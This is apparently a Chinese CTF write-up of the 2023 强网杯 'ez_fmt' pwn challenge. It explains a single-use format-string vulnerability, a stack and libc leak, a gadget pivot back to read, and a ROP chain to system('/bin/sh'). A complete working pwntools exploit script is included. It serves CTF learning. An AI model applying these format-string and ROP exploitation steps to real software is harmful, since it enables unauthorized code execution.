首页 > 其他分享 >[强网杯2023] 强网先锋 ez_fmt 详解

[强网杯2023] 强网先锋 ez_fmt 详解

时间:2023-12-19 21:11:07浏览次数:36  
标签:__ libc text fmt printf 强网杯 地址 2023 buf

题目详解

查看保护机制,地址随机化未开启

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看main函数,题目给出了一个栈地址,同时还有个很明显的字符串格式化漏洞,但是只能利用一次

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("There is a gift for you %p\n", buf);
  read(0, buf, 0x30uLL);
  if ( w == 0xFFFF )
  {
    printf(buf);
    w = 0;
  }
  return 0;
}

利用思路是

  • 首先要能劫持控制流,那么修改栈上的返回地址是个不错的选择

  • 其次要泄露libc基址,利用栈上残留的libc地址也是个不错的方法,这里锁定__libc_start_main函数,经过gdb调试发现buf在栈上的偏移为%6$p,那么用stack查看栈数据就能找出__libc_start_main函数地址的偏移,很明显是偏移量是19

    pwndbg> stack 16
    00:0000│ rdi rsi rsp 0x7fff2e1ed0f0 ◂— 0x3031256336303225 ('%206c%10')
    01:0008│             0x7fff2e1ed0f8 ◂— 0x243931256e686824 ('$hhn%19$')
    02:0010│             0x7fff2e1ed100 ◂— 0x6161616661616170 ('paaafaaa')
    03:0018│             0x7fff2e1ed108 —▸ 0x401205 (main+111) ◂— lea    rax, [rbp - 0x60]
    04:0020│             0x7fff2e1ed110 —▸ 0x7fff2e1ed0e8 —▸ 0x401220 (main+138) ◂— mov    eax, dword ptr [rip + 0x2dea]
    05:0028│             0x7fff2e1ed118 ◂— 0x6161616161616161 ('aaaaaaaa')
    06:0030│             0x7fff2e1ed120 —▸ 0x7f10a64392e8 (__exit_funcs_lock) ◂—
     0x0
    07:0038│             0x7fff2e1ed128 —▸ 0x401270 (__libc_csu_init) ◂— endbr64 
    08:0040│             0x7fff2e1ed130 ◂— 0x0
    09:0048│             0x7fff2e1ed138 —▸ 0x4010b0 (_start) ◂— endbr64 
    0a:0050│             0x7fff2e1ed140 —▸ 0x7fff2e1ed240 ◂— 0x1
    0b:0058│             0x7fff2e1ed148 ◂— 0xc1facd3e33c58500
    0c:0060│ rbp         0x7fff2e1ed150 ◂— 0x0
    0d:0068│             0x7fff2e1ed158 —▸ 0x7f10a626c083 (__libc_start_main+243) ◂— mov    edi, eax
    0e:0070│             0x7fff2e1ed160 ◂— 0x50 /* 'P' */
    0f:0078│             0x7fff2e1ed168 —▸ 0x7fff2e1ed248 —▸ 0x7fff2e1edd49 ◂— './ez_fmt'
    

那么攻击思路就是

  • 1.格式化字符串修改printf函数的返回地址为_libc_csu_init函数中的gadget,这样是为了控制rsp,避免ret的时候和前面构造的恶意格式化字符串产生冲突。

    gadget:

    .text:00000000004012CE 41 5D                         pop     r13
    .text:00000000004012D0 41 5E                         pop     r14
    .text:00000000004012D2 41 5F                         pop     r15
    .text:00000000004012D4 C3                            retn
    

    这里printf函数的返回地址指的是下面代码中执行printf函数后在栈上产生的返回地址

    if ( w == 0xFFFF )
      {
        printf(buf);
        w = 0;
      }
    
  • 2.泄露libc地址

  • 3.劫持控制流执行system("/bin/sh") 代码

第一步和第二步可以在一次格式化漏洞中完成,printf(buf)的返回地址就是泄露的栈地址 - 8, 又因为执行printf(buf)的地址为0x40122D,和要跳转到的gadget地址0x4012CE仅有不到一个字节的偏移,所以只需要覆盖低字节。(因为给的buf仅有0x30的大小,所以要尽量缩减格式化字符串的长度)

程序在执行完printf函数后会返回到gadget的位置,然后经过三次出栈操作,rsp指向buf + 0x18,然后执行ret。

显然buf + 0x18的值是我们可控的,修改它到执行read函数的地址

这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)

因为read的返回地址存在buf里,也是可控的,所以ROP执行system函数即可

exp脚本

from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug",terminal = ['tmux','splitw','-h'])
io = process("./ez_fmt")
libc = ELF("./libc.so.6")
rdi_ret = 0x04012d3

io.recvuntil(b"for you")
stack = int(io.recvline()[0:-1], 16)
success(hex(stack))
payload = flat(
    {
        0:"%{}c%10$hhn%19$p".format(0xce),
        0x18: p64(0x401205) + p64(stack - 8)
    }
)
payload = payload.ljust(0x30, b'a')
# gdb.attach(io, "b *0x401239\nb *0x401205")
io.send(payload)
# offset = 6
io.recvuntil(b"0x")
libc_base = int(io.recv(12), 16) - libc.symbols["__libc_start_main"] - 243
payload = flat(
    {
        0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
        0x28 : p64(libc_base + 0x051CD2)
    }
)
io.send(payload)

io.interactive()

为什么exp里是p64(libc_base + 0x051CD2)而不是 p64(libc_base + libc.symbols["system"])?

  • 后面那种方式因为堆栈对齐的问题,在跑到这行代码时会出错

    0x7fbc67b59e3c <do_system+364>    movaps xmmword ptr [rsp + 0x50], xmm0
    
  • 因为给的buf空间太小了,无法再加上一个ret指令来平衡堆栈。所以我用IDA查看了libc-2.31.so的源码

    __int64 __fastcall system(__int64 a1)
    {
      if ( a1 )
        return sub_51CD0(a1);
      else
        return (unsigned int)sub_51CD0("exit 0") == 0;
    }
    
    .text:0000000000051CD0 41 55                         push    r13
    .text:0000000000051CD2 B9 10 00 00 00                mov     ecx, 10h
    .text:0000000000051CD7 41 54                         push    r12
    .text:0000000000051CD9 55                            push    rbp
    .text:0000000000051CDA 53                            push    rbx
    .text:0000000000051CDB 48 89 FB                      mov     rbx, rdi
    .text:0000000000051CDE 48 81 EC 78 03 00 00          sub     rsp, 378h
    .text:0000000000051CE5 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
    

    如果直接调用sub_51CD0和system的效果一致。所以执行sub_51CD0 + 2来跳过开头的push r13指令,这样堆栈就平衡了

标签:__,libc,text,fmt,printf,强网杯,地址,2023,buf
From: https://www.cnblogs.com/S1nyer/p/17914751.html

相关文章

  • ICPC2023 杭州站游记
    Day-2周五早八的飞机,周四晚上就润去机场旁边的酒店了。队长说昨晚没睡好,不到九点就先睡了,但是十二点左右就睡醒了。睡醒之后又点了外卖吃,这下完全不困了,玩手机玩到三点顶不住就睡了。和队长聊天,目标都是守银。Day-1本来定的5:45的闹钟,5:43刚好醒来,简单收拾一下就出发了,......
  • 2023.12 做题纪要 #2
    感动,居然12月还有第二个做题纪要!目录2023.12.19P7325[WC2021]斐波那契P8354[SDOI/SXOI2022]多边形2023.12.19有点太安静了,于是拿耳机听歌写题了(好像还不错,梦幻联动而且确实挺好听。P7325[WC2021]斐波那契一开始没看数据范围,以为\(m\)很大,想半天然后突然意识到数据......
  • 2023强网杯ez_fmt题解及进阶格式化之劫持子函数
    格式化任意内存读写相信已经是老生常谈了,但是随着题目难度加大,格式化题目给我们的难题逐渐变成了覆写什么,改写什么。这题对我是一道很好的例题,其中对栈及函数调用的理解堪称刷新我的认知。exp先放着,想自己调试理解的可以看看。frompwnimport*context(terminal=['tmux','......
  • 2023最新中级难度Spring Security面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自[面试宝典-中级难度SpringSecurity面试题合集](https://offer.houxu6.top/tag/SpringSecurity)问:如何在SpringBoot项目中集成SpringSecurity?为了在SpringBoot项目中集成SpringSecurity,需要遵循以下步骤:添加依赖在pom.xml文件中,添加Spr......
  • CSP2023-12树上搜索题解
    刚考完csp,这道题是大模拟题,题意不难理解。以下是题目链接:http://118.190.20.162/view.page?gpid=T178当时考场上这道题调了好久没调出来,忽略了很多细节。在这里分享一下满分题解及思路,帮大家避避坑。#include<iostream>#include<stdio.h>#include<queue>#include<cstring>#inc......
  • 2023-2024第一学期第十二周助教总结
    本次总结所属课程2023-2024第一学期计算机基础与程序设计本次作业要求作业要求作业提交情况提交情况一、作业提交情况:本周大部分同学可以做到按时提交作业,只有一小部分同学在作业截止时间内未能按时提交,希望这些同学可以重视每老师布置的作业,认真完成并按时提......
  • 【笔记】2023.12.19:题目选讲
    笔记2023.12.19:题目选讲不会的题目没在这里展现。一共14道题。gym103371IOrganizingColoredSheets猜结论:两个同一行的sharp的间隙的\(\min\)是\(W\)上界,同一列的sharp的间隙的\(\min\)是\(H\)上界,然后相乘。这是假的,是答案上界,过不去样例二。每个\(H\)对......
  • CMO 2023 p6 省流版
    题解题目中要求,位置\(i\)上的数要运动到位置\(u_i=(p_i+k)\bmodn\),其中\(k\)可以任选.假设位置\(i\)上的数运动过程中,它总共以逆时针方向运动了\(x_i\)个单位(可为负数).把全部的\(x_i\)均加上一个常数,仍然会是合法的.通过调整法可证,存在一种最优移动......
  • [NOI2023] 桂花树
    [NOI2023]桂花树题目描述小B八年前看到的桂花树是一棵\(n\)个节点的树\(T\),保证\(T\)的非根结点的父亲的编号小于自己。给定整数\(k\),称一棵\((n+m)\)个节点的有根树\(T^{\prime}\)是繁荣的,当且仅当以下所有条件满足:对于任意满足\(1\lei,j\len\)的\((i,j)......
  • 20231219
    j使用final框架时localhost打不开的界面 由于网络协议的问题原文参考win10localhost解析为::1的解决办法-CSDN博客......